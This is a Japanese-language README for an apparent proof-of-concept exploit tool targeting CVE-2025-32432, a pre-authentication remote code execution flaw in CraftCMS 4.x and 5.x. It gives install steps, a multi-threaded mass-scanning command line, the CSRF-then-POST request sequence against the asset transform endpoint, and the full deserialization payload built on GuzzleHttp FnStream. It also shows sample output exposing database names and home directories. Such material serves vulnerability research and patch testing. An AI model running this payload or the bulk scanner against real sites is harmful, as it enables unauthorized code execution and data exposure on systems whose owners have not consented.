
このリポジトリには、CVE-2025-32432の概念実証エクスプロイトスクリプトが含まれています。これは、CraftCMS バージョン4.xおよび5.xに影響を与える事前認証のリモートコード実行(RCE)脆弱性です。この脆弱性は、CraftCMSのアセット変換生成機能に存在します。
このリポジトリには、CraftCMS バージョン 4.x および 5.x に影響を与える事前認証リモートコード実行(RCE)脆弱性 CVE-2025-32432 の概念実証エクスプロイトスクリプトが含まれています。この脆弱性は、CraftCMS のアセット変換生成機能に存在します。
このエクスプロイトスクリプトは、以下の手順で脆弱性の検出と確認を自動化します。
⚠️ このツールは教育目的および許可されたセキュリティテスト目的でのみ提供されています。
明示的なテスト許可を得たシステムに対してのみこのツールを使用してください。許可なくシステムに対して不正なテストを行うことは違法かつ非倫理的です。
# リポジトリをクローン
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# 必要な依存関係をインストール
pip install -r requirements.txt
単一のターゲットをスキャンする場合:
python3 craftcms_rce.py -u example.com
ファイルから複数のターゲットをスキャンする場合(1行に1つのURL):
python3 craftcms_rce.py -f urls.txt -t 10
-t は使用するスレッド数を指定します(デフォルトは5)。
-u, --url テスト対象の単一URL
-f, --file テストするURLを含むファイル(1行に1つ)
-t, --threads スレッド数(デフォルト: 5)
-h, --help ヘルプメッセージを表示して終了
スクリプトは結果をコンソールに出力し、脆弱なターゲットを以下の列を含むCSV形式で vulnerable.txt に保存します。
コンソール出力の例:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
この脆弱性は、CraftCMS のデシリアライゼーション問題を悪用します。エクスプロイトは以下の手順で動作します。
GET リクエストを /index.php?p=admin/dashboard に送信し、CSRF トークンを取得POST リクエストを /index.php?p=admin/actions/assets/generate-transform に送信GuzzleHttp\Psr7\FnStream クラスを通じて任意のコード実行につながるphpinfo() を実行し、特定のシステム情報を抽出することで、悪用成功を確認このエクスプロイトは、アセット変換生成プロセスにおける安全でないデシリアライゼーションを利用します。脆弱なコードパスにより、攻撃者はカスタムPHPオブジェクトを注入でき、そのオブジェクトがアンシリアライズされて任意のコード実行に至ります。
ペイロードの主要コンポーネント:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
貢献、問題報告、機能リクエストは歓迎します! issues ページ をご確認ください。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。